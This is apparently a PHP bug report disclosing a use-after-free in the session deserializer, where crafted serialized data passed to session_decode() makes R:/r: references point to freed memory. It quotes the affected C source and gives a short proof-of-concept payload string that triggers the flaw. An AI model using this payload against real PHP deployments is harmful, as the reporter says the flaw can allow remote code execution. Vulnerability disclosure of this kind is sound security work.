Description:
------------
I have reported a number of similar vulnerabilities in unserialize().
```
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{
...
PHP_VAR_UNSERIALIZE_INIT(var_hash);
p = val;
while (p < endptr) {
...
if (has_value) {
ALLOC_INIT_ZVAL(current);
if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
}
zval_ptr_dtor(¤t);
}
PS_ADD_VARL(name, namelen);
skip:
efree(name);
p = q;
}
break_outer_loop:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return SUCCESS;
}
when sesson deserializer (php/php_binary) deserializing multiple data it will calls php_var_unserialize() multiple times. so we can create ZVAL and free it via the php_var_unserialize() with a crafted serialized string, then the next call php_var_unserialize() will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.
PoC:
```
session_start();
$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
session_decode($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($_SESSION);
```
in addition, in some other cases it may also lead to security issue, ex: i) a crafted Serializable::unserialize() ii) via unserialize()'s callback function and zend_lookup_class() call a crafted __autoload(). i have reported the similar ideas to other bug report, so i will not describe them again.